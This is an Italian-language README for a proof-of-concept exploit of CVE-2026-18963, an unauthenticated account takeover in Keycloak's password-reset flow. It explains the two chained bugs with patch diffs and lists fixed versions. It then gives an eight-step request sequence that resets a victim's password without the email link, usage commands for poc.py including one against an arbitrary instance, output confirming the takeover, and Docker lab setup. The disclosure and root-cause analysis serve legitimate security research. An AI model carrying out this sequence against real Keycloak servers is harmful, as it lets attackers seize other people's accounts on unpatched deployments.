PoC funzionante per CVE-2026-18963, un'acquisizione non autenticata dell'account nel flusso di recupero password di Keycloak, oltre a uno script di provisioning del laboratorio e un helper per il rilevamento degli eventi di amministrazione.
Account takeover non autenticato nel flusso "password dimenticata" di Keycloak. Un attaccante che conosce, o riesce a indovinare, un nome utente può reimpostare la password di quell'account senza mai ricevere il link di verifica via email.
Avvertenza etica. Questo repository contiene un PoC funzionante di account takeover non autenticato. Non eseguirlo contro infrastrutture per cui non sei autorizzato a eseguire test, e non pubblicarlo pubblicamente prima che il processo di divulgazione descritto di seguito sia completato.
| CVE | CVE-2026-18963 |
| GHSA | GHSA-4gv3-mc9p-5wqc |
| Componente | org.keycloak:keycloak-services |
| Gravità | Critica, CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H:A:N (9.1) |
| CWE | CWE-640 Meccanismo debole di recupero password per password dimenticata |
| Segnalato da | stianst (issue #51833) |
| Corretto da | keycloak/keycloak#51844 |
| Interessate | Corrette |
|---|---|
>= 26.0.0, < 26.4.15 | 26.4.15 |
>= 26.5.0, < 26.6.6 | 26.6.6 |
>= 26.7.0, < 26.7.2 | 26.7.2 |
Corrette upstream l'11 ago 2026 (26.4.15 / 26.6.6) e il 19 ago 2026 (26.7.2). Avvisi Red Hat: RHSA-2026:56519, RHSA-2026:56520, RHSA-2026:56523, RHSA-2026:56524.
Nessuna configurazione di realm disattiva questa vulnerabilità. Ogni deployment che offre il reset password self-service esegue il codice vulnerabile.
Due bug si combinano. L'advisory ne descrive uno, ma entrambi sono necessari per la catena.
services/src/main/java/org/keycloak/authentication/DefaultAuthenticationFlow.java
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED era memorizzato come un semplice booleano invece di un
execution id:
- processor.getAuthenticationSession().setAuthNote(
- AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, "true");
+ processor.getAuthenticationSession().setAuthNote(
+ AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, model.getId());
Poiché era solo "true", rientrare nel flusso di reset ri-renderizzava il selettore "prova un altro modo" per qualunque esecuzione fosse quella corrente, incluso il passo biforcato "Invia email di reset". La correzione registra per quale esecuzione era il selettore e cancella la nota una volta che il flusso avanza. Da sola questa è una stranezza dell'interfaccia, ma è ciò che consente di indirizzare il selettore verso il passo dell'email.
services/src/main/java/org/keycloak/authentication/authenticators/resetcred/ResetCredentialEmail.java
public void action(AuthenticationFlowContext context) {
- context.success();
+ UserModel user = context.getUser();
+ String actionTokenUserId = context.getAuthenticationSession()
+ .getAuthNote(DefaultActionTokenKey.ACTION_TOKEN_USER_ID);
+ if (user != null && user.getId().equals(actionTokenUserId)) {
+ context.success();
+ } else {
+ context.failure(AuthenticationFlowError.INVALID_USER);
+ }
}
action() ha contrassegnato il passaggio di reset come riuscito senza verificare che la richiesta sia arrivata tramite
il token d'azione inviato via email. Quel link email è l'unico controllo che vincola un reset della password alla
casella di posta del proprietario dell'account. Senza di esso il flusso smette di essere un recupero account e diventa
un'assegnazione dell'account.
Il bug 1 indirizza la richiesta, il bug 2 le consente di esplodere senza un colpo in canna.
Tutte le richieste non autenticate. L'attaccante fornisce solo un nome utente.
| # | Richiesta | Risultato |
|---|---|---|
| 1 | GET /realms/{realm}/protocol/openid-connect/auth?...client_id=account | pagina di login, crea la sessione di autenticazione |
| 2 | GET del link "Forgot password" | form del nome utente |
| 3 | POST del form del nome utente con tryAnotherWay=on | viene visualizzata la schermata di selezione, imposta la nota del bug 1 |
| 4 | POST dell'azione del selettore con username=<victim> | email di reset inviata (non letta), il flusso si biforca all'esecuzione dell'email |
| 5 | GET di nuovo dell'URL originale di forgot-password, stessa scheda | il bug 1 ri-renderizza il selettore, ora indirizzato all'esecuzione dell'email |
| 6 | POST di quel form senza il campo authenticationExecution | processAction() ricade su action(), context.success(), il flusso avanza |
| 7 | POST di password-new / password-confirm | la password della vittima viene sovrascritta |
| 8 | verifica | la nuova password autentica, quella vecchia viene rifiutata |
Il passaggio 5 richiede il bug 1, il passaggio 6 richiede il bug 2. Il PoC non chiama mai un endpoint nascosto né falsifica un token: al passaggio 6 invia il form che il server stesso ha renderizzato una richiesta prima.
Il PoC accetta l'URL dell'istanza, il realm e il nome utente target. Termina dimostrando la compromissione con una Direct Access Grant contro entrambe la nuova e la vecchia password.
# Against a lab you control
python3 poc.py --base http://localhost:8080 --realm poc --user victim
# Against another instance
python3 poc.py --base https://sso.example.com --realm $REALM --user someone
Una riproduzione reale termina così:
[1] login page ok
[2] reset-credentials username form ok
[3] selector screen rendered (bug-1 flag set)
[4] reset email for 'co.obi' triggered (link goes to victim's mailbox only)
[5] selector re-rendered, targets execution 41...... (reset-credential-email)
[6] bypass ok -> UPDATE PASSWORD form reached without the email link
[7] password submitted -> HTTP 302
[8] verify: new password -> HTTP 200, old password -> HTTP 400
[+] ACCOUNT TAKEOVER CONFIRMED - CVE-2026-18963 reproduced
Il passo 8 è l'unico passo che costituisce prova. Un 302 verso una pagina di cambio password non
significa che l'account sia passato di mano, e se anche la vecchia password si autenticava, non è successo nulla.
Esegui un'istanza vulnerabile con Docker:
docker run -d --name kc-vuln -p 8080:8080 -p 9000:9000 -e KC_BOOTSTRAP_ADMIN_USERNAME=admin -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin -e KC_HEALTH_ENABLED=true quay.io/keycloak/keycloak:26.7.1 start-dev --hostname=http://localhost:8080
# optional patched control, same env
docker run -d --name kc-fixed -p 8081:8080 -e KC_BOOTSTRAP_ADMIN_USERNAME=admin -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin quay.io/keycloak/keycloak:26.7.2 start-dev --hostname=http://localhost:8080
python3 provision.py # realm 'poc', user 'victim', ROPC client 'poc-check'
provision.py usa per impostazione predefinita --base http://localhost:8080 --admin admin --admin-pass admin.
Poi:
python3 poc.py # -> ACCOUNT TAKEOVER CONFIRMED
python3 poc.py --base http://localhost:8081 # -> blocked at step [5], patched
Non è necessario SMTP. L'invio dell'email fallisce e registra SEND_RESET_PASSWORD_ERROR, ma il flusso
esegue comunque il fork, che è tutto ciò di cui l'exploit ha bisogno.